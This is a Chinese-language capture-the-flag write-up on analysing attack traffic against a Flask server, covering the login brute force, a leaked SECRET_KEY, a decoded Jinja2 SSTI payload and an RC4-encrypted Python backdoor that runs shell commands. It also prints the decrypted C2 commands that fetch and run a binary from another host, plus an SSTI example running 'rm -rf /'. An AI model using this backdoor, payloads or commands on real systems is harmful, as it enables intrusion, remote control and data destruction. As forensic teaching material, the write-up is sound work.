2025.12.26 CISCN 流量分析
2026-08-22 20:23:48

——luxlu

📎 相关:
| 6.流量分析
| 6.1流量分析杂
| 3.编码分析
| 4.压缩包分析

流量分析1

近期发现公司网络出口出现了异常的通信,现需要通过分析出口流量包,对失陷服务器进行定位。现在需要你从网络攻击数据包中找出漏洞攻击的会话,分析会话编写exp或数据包重放,查找服务器上安装的后门木马,然后分析木马外联地址和通信密钥以及木马启动项位置。

最频繁访问的ip192.168.1.111是攻击源

服务器地址是192.168.1.200:5000

过滤器http.request.method == "POST" && ip.src == 192.168.1.111 && http.request.uri contains "login"

![20251226ciscn 流量分析-01](/img/obsidian/2025-12-26-ciscn-traffic/20251226ciscn 流量分析-01.png)

其他流的状态都为200OK

直接查看最后一个流即为登陆成功 状态为302FOUNDpasword为zxcvbnm123

flag{zxcvbnm123}

流量分析2

攻击者通过漏洞利用获取Flask应用的 SECRET_KEY 是什么

ctrl+f SECRET_KEY

![20251226ciscn 流量分析-02](/img/obsidian/2025-12-26-ciscn-traffic/20251226ciscn 流量分析-02.png)

![20251226ciscn 流量分析-03](/img/obsidian/2025-12-26-ciscn-traffic/20251226ciscn 流量分析-03.png)

flag{c6242af0-6891-4510-8432-e1cdf051f160}

流量分析3

攻击者植入的木马使用了加密算法来隐藏通讯内容。请分析注入Payload,给出该加密算法使用的密钥字符串(Key)

SSTI注入+代码还原

过滤器:http.request

![20251226ciscn 流量分析-04](/img/obsidian/2025-12-26-ciscn-traffic/20251226ciscn 流量分析-04.png)

![20251226ciscn 流量分析-05](/img/obsidian/2025-12-26-ciscn-traffic/20251226ciscn 流量分析-05.png)

观察到/admin/preview频繁被POST,而且请求体很大

说明这个接口可能是被攻击者劫持用来传输数据的C2通道

追踪了5369字节的请求

![20251226ciscn 流量分析-06](/img/obsidian/2025-12-26-ciscn-traffic/20251226ciscn 流量分析-06.png)

1
preview_content={{url_for.__globals__['__builtins__']['exec']("import base64; exec(base64.b64decode('一大段base64'))", {'request':url_for.__globals__['request'],'app':get_flashed_messages.__globals__['current_app']})}}

![20251226ciscn 流量分析-07](/img/obsidian/2025-12-26-ciscn-traffic/20251226ciscn 流量分析-07.png)

1
2
_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));
exec((_)(b'=一大段base64'))

由此我们可以看到攻击者构造paylord的原始过程

1
2
3
4
5
6
7
8
9
10
11
原始恶意代码(Python)

用 zlib 压缩

用 base64 编码

把 base64 字符串反转([::-1])

包装成 b'...' 字面量

嵌入到模板中:exec((_)(b'...'))

为了还原原始代码,逆着流程走回去

1
2
3
4
5
拿到 b'...' 字符串
↓ (1)反转 → 恢复正确的 base64 顺序
↓ (2)base64 解码 → 得到 zlib 压缩数据
↓ (3)zlib 解压 → 得到原始 Python 代码
↓ (4)decode → 可读字符串
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import base64
import zlib
import re

code = """
exec((_)(b'=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'))
"""

def decrypt_(encrypted_b64_data):
try:
return zlib.decompress(base64.b64decode(encrypted_b64_data[::-1])).decode('utf-8')
except Exception as e:
return None

def decrypt(code):
current = code
layer = 0

while True:
match = re.search(r"b'([^']+)'", current)
if match:
layer += 1
payload = match.group(1)
next_layer = decrypt_(payload.encode('utf-8'))
if next_layer:
current = next_layer
else:
break
else:
break

return current

print(decrypt(code))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
global exc_class
global code
import os,binascii
exc_class, code = app._get_exc_class_and_code(404)
RC4_SECRET = b'v1p3r_5tr1k3_k3y'
def rc4_crypt(data: bytes, key: bytes) -> bytes:
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
i = j = 0
res = bytearray()
for char in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
res.append(char ^ S[(S[i] + S[j]) % 256])
return bytes(res)
def backdoor_handler():
if request.headers.get('X-Token-Auth') != '3011aa21232beb7504432bfa90d32779':
return "Error"
enc_hex_cmd = request.form.get('data')
if not enc_hex_cmd:
return ""
try:
enc_cmd = binascii.unhexlify(enc_hex_cmd)
cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode('utf-8', errors='ignore')
output_bytes = getattr(os, 'popen')(cmd).read().encode('utf-8', errors='ignore')
enc_output = rc4_crypt(output_bytes, RC4_SECRET)
return binascii.hexlify(enc_output).decode()
except:
return "Error"
app.error_handler_spec[None][code][exc_class]=lambda error: backdoor_handler()

flag{v1p3r_5tr1k3_k3y}

c2通道

攻击者发命令(下载木马/截图/执行shell),受害机接收执行,再把结果传回去。

判断特征:固定接口(/admin/preview/api/report)、POST 定期请求、参数加密(data=e0ac7e52fc996cc2...,hex 或 base64)、响应也是乱码、每隔几秒就通信一次。

不加密的话一眼就是 GET /?cmd=rm -rf /,所以命令要 RC4 加密、POST 到 /admin/preview 伪装成正常流量、参数名用无害的 data=/token=。这样即使被监控也看不出在发恶意命令。

Jinja2 SSTI

Jinja2 是 Python 的模板引擎,正常是往 HTML 里填变量。漏洞出在 render_template_string 把用户输入直接拼进模板,输入被当成模板代码执行:

1
2
3
preview = request.form['content']  # 用户输入
return render_template_string("{{ " + preview + " }}")
//把用户输入的内容,当作模板代码执行

先测能不能算数:

1
{{ 7 * 7 }}

服务器会返回 49

1
49

说明用户输入能当代码跑。

然后找 Python 所有类,从里面捞 os 执行命令:

1
{{ ''.__class__.__mro__[1].__subclasses__() }}

最后直接命令执行:

1
{{ config.__class__.__init__.__globals__['os'].popen('rm -rf /').read() }}

这下服务器真的会执行 rm -rf /,删全盘。

防御:别用 render_template_string 拼用户输入,用 render_template 传参:

1
2
3
4
5
6
7
8
render_template_string("{{ " + user_input + " }}")
# ×

render_template("template.html", user=user_input)
# √

{{ user|safe }}
# 或者用safe标签限制也可以

流量分析4

攻击者上传了一个二进制后门,请写出木马进程执行的本体文件的名称

/admin/preview接口的POST请求体里只有data=xxxxxx这一个参数反复出现内容也很长,于是过滤器用http contains "data="

提取所有data=的hex值

![20251226ciscn 流量分析-08](/img/obsidian/2025-12-26-ciscn-traffic/20251226ciscn 流量分析-08.png)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import binascii

RC4_SECRET = b'v1p3r_5tr1k3_k3y'

def rc4_crypt(data, key):
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
i = j = 0
res = bytearray()
for char in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
res.append(char ^ S[(S[i] + S[j]) % 256])
return bytes(res)

hex_list = [
"acad614ef3d82c8445d275713899f04d0d3819fc3726cf57634b189e0e95cc1f93e57656105246251f453a8396a43a6534",
"bab6694ba3c938e64b8d257b7cccee460f6347f4363ed21c300c099f129b99028eb57408024e1c32061a",
"a2ae330da7846599188b26257a88f10b50790cb47e6a97177e1053c351",
"acb07e4db7c93ece4bcc37246687ae0649614caa3430ce4b",
"e0ac7e52fc996cc2038c2d7a3899ed"
]

for i, h in enumerate(hex_list, 1):
try:
if len(h) % 2: continue
dec = rc4_crypt(binascii.unhexlify(h), RC4_SECRET)
print(f"[{i}] {dec.decode('utf-8', errors='replace')}")
except:
pass

得到还原链

1
2
3
4
5
[1] curl 192.168.1.201:8080/shell.zip -o /tmp/123.zip
[2] unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip
[3] mv /tmp/shell /tmp/python3.13
[4] chmod +x /tmp/python3.13
[5] /tmp/python3.13
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[1] curl 192.168.1.201:8080/shell.zip -o /tmp/123.zip
从攻击者的服务器192.168.1.2.1:8080下载一个叫shell.zip的文件
保存到受害机的/tmp/123.zip

[2] unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip
使用密码nf2jd092jd01解压123.zip
解压后得到一个文件:/tmp/shell

[3] mv /tmp/shell /tmp/python3.13
把shell改名为python3.13
伪装成系统自带的python可执行文件,逃避管理员的注意

[4] chmod +x /tmp/python3.13
把python3.13变成可执行程序

[5] /tmp/python3.13
运行木马

flag{python3.13}

流量分析5

请提取驻留的木马本体文件,通过逆向分析找出木马样本通信使用的加密密钥(hex,小写字母),结果提交形式:flag{[0-9a-f]+}

过滤器:http.request.method == "GET" && http contains "shell.zip"

![20251226ciscn 流量分析-09](/img/obsidian/2025-12-26-ciscn-traffic/20251226ciscn 流量分析-09.png)

![20251226ciscn 流量分析-10](/img/obsidian/2025-12-26-ciscn-traffic/20251226ciscn 流量分析-10.png)

上一页
2026-08-22 20:23:48
下一页